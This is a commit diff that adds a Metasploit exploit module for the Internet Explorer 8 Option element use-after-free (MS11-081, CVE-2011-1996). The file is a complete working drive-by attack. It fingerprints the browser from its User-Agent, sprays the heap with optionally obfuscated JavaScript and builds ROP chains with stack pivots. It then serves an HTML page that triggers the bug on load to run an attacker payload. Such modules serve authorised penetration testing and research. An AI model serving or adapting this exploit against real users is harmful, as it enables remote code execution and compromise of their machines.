Add MS11-081

Author: sinn3r

modules/exploits/windows/browser/ms11_081_option.rb

@@ -0,0 +1,239 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
+
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Microsoft Internet Explorer Option Element Use-After-Free",
+			'Description'    => %q{
+					This module exploits a vulnerability in Microsoft Internet Explorer.  A memory
+				corruption may occur when the Option cache isn't updated properly, which allows
+				other JavaScript methods to access a deleted Option element, and results in code
+				execution under the context of the user.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Ivan Fratric',  #Initial discovery
+					'juan vazquez',  #Metasploit
+					'sinn3r'         #Metasploit
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2011-1996' ],
+					[ 'MSB', 'MS11-081' ],
+					[ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],
+					[ 'URL', 'http://pastebin.com/YLH725Aj' ]
+				],
+			'Payload'        =>
+				{
+					'StackAdjustment' => -3500,
+				},
+			'DefaultOptions'  =>
+				{
+					'InitialAutoRunScript' => 'migrate -f'
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Automatic', {} ],
+					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
+					[ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
+					[ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Oct 11 2012",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
+			], self.class)
+
+	end
+
+	def get_target(agent)
+		#If the user is already specified by the user, we'll just use that
+		return target if target.name != 'Automatic'
+
+		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
+		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
+
+		ie_name = "IE #{ie}"
+
+		case nt
+		when '5.1'
+			os_name = 'Windows XP SP3'
+		when '6.0'
+			os_name = 'Windows Vista'
+		when '6.1'
+			os_name = 'Windows 7'
+		end
+
+		targets.each do |t|
+			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
+				print_status("Target selected as: #{t.name}")
+				return t
+			end
+		end
+
+		return nil
+	end
+
+	def ie_heap_spray(my_target, p)
+		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
+		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
+		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
+
+		js = %Q|
+		function heap_spray() {
+			var heap_obj = new heapLib.ie(0x20000);
+			var code = unescape("#{js_code}");
+			var nops = unescape("#{js_nops}");
+			while (nops.length < 0x80000) nops += nops;
+			var offset = nops.substring(0, #{my_target['Offset']});
+			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
+			while (shellcode.length < 0x40000) shellcode += shellcode;
+			var block = shellcode.substring(0, (0x80000-6)/2);
+			heap_obj.gc();
+			for (var i=1; i < 0x300; i++) {
+				heap_obj.alloc(block);
+			}
+			var overflow = nops.substring(0, 10);
+		}
+		|
+
+		js = heaplib(js, {:noobfu => true})
+
+		if datastore['OBFUSCATE']
+			js = ::Rex::Exploitation::JSObfu.new(js)
+			js.obfuscate
+			@heap_spray_func = js.sym("heap_spray")
+		end
+
+		return js
+	end
+
+	def get_payload(t, cli)
+		code = payload.encoded
+
+		# No rop. Just return the payload.
+		return code if t['Rop'].nil?
+
+		# Both ROP chains generated by mona.py - See corelan.be
+		case t['Rop']
+		when :msvcrt
+			print_status("Using msvcrt ROP")
+			rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
+			rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
+			rop_payload << "\xeb\x04" # jmp $+6
+			rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret
+			rop_payload << code
+		else
+			print_status("Using JRE ROP")
+			rop_payload = generate_rop_payload('java', '')
+			rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
+			rop_payload << "\xeb\x08" # jmp $+10
+			rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
+			rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
+			rop_payload << code
+		end
+
+		return rop_payload
+	end
+
+	def load_exploit_html(my_target, cli)
+		@heap_spray_func = "heap_spray"
+		p  = get_payload(my_target, cli)
+		js = ie_heap_spray(my_target, p)
+
+
+		#var fakeobj = unescape("%u0c0c%u0c0c");
+		#call to 0c0c0c0c
+		#eax ==> 0c0c0a14
+		html = %Q|
+		<!DOCTYPE html>
+		<html>
+		<head>
+		<script>
+		#{js}
+
+		function ivan()
+		{
+
+			var fakeobj = unescape("%u0a14%u0c0c");
+			fakeobj += unescape("%u4141%u4141");
+			while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");
+
+			var formobj, selobj, optobj;
+			selobj = document.getElementById("select1");
+			formobj = selobj.form;
+
+			var imgarray = new Array();
+			for(var j = 0; j < 500; j++) {
+				imgarray.push(document.createElement("img"));
+			}
+
+			for(var i=0;i<5;i++) {
+				optobj = document.createElement('option');
+				optobj.text = "test";
+				selobj.add(optobj);
+			}
+
+			selobj.innerText = "foo";
+
+			for(var i = 0; i < imgarray.length; i++) {
+				imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);
+			}
+
+			#{@heap_spray_func}();
+
+			formobj.reset();
+		}
+
+		</script>
+		</head>
+
+		<body onload='ivan()'>
+		<form method="post">
+		<select id="select1">
+		</select>
+		</form>
+		</body>
+		</html>
+		|
+
+		return html
+	end
+
+	def on_request_uri(cli, request)
+		agent = request.headers['User-Agent']
+		uri   = request.uri
+		print_status("Requesting: #{uri}")
+
+		my_target = get_target(agent)
+		# Avoid the attack if no suitable target found
+		if my_target.nil?
+			print_error("Browser not supported, sending 404: #{agent}")
+			send_not_found(cli)
+			return
+		end
+
+		html = load_exploit_html(my_target, cli)
+		html = html.gsub(/^\t\t/, '')
+		print_status("Sending HTML...")
+		send_response(cli, html, {'Content-Type'=>'text/html'})
+	end
+end